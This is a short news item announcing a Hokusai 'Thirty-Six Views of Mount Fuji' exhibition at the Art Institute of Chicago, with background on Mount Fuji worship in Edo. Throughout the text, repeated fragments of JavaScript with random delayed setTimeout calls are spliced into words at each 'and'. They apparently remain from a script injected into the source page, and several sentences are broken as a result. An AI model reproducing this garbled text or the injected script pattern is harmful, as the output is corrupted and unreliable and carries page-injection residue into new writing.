CHICAGO, ILL. — The sight of the elusive Mount Fuji on a clear day, its beautiful shape rising up like a singular majestic cone, is truly awe-inspiring. Formed by three volcanoes, Fuji has always held sway over the Japanese psyche as a spiritual place — the abode of Shinto or Buddhist deities, the focus of pilgrimages andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an entrance to paradise or hell. Yet it was not until the Seventeenth Century that many people were able to see the legendary mountain thanks to a well-maintained road system andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the many vantage points afforded by the shogun’s new capital of Edo (now Tokyo).

By the early Nineteenth Century, a large number of Edo’s inhabitants subscribed to a belief known as Fujiko — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and climbed the mountain as a sign of their devotion. For those who could not make the journey, mini-Fujis were erected throughout the city.

On view July 20–October 6 at Gallery 107 at the Art Institute of Chicago, Katsushika Hokusai’s series “Thirty-Six Views of Mount Fuji (Fugaku sanjurokkei)” is nearly as celebrated as the mountain it depicts, especially the print commonly known as “The Great Wave.” Begun in 1830 when the artist was 70 years old (he died in 1849), this tour-de-force established landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape as a popular print genre. The series is also noteworthy in its abundant use of the then newly affordable Berlin blue pigment. Its even finish andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and high-tinting strength can be found in the prints’ large swaths of sky andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and water.

While incredibly popular, Hokusai’s inventive compositions are seldom on view due to concerns that exposure to light would cause the paper to darken andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the pigments to fade, as is the case with all the prints in the Chicago Art Institute’s collection.

This exhibition thus affords a rare opportunity to view several prints from the famous “Thirty-Six Views of Mount Fuji” series, such as three versions of “The Great Wave.” Displayed alongside illustrated books andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Hokusai’s earlier surimono, or privately published prints, this presentation demonstrates how this masterful series from late in the artist’s life is the culmination of stylistic experiments throughout his career.

The Art Institute is at 111 South Michigan Avenue in Grant Park. For additional information, www.artic.edu or 312-443-3600.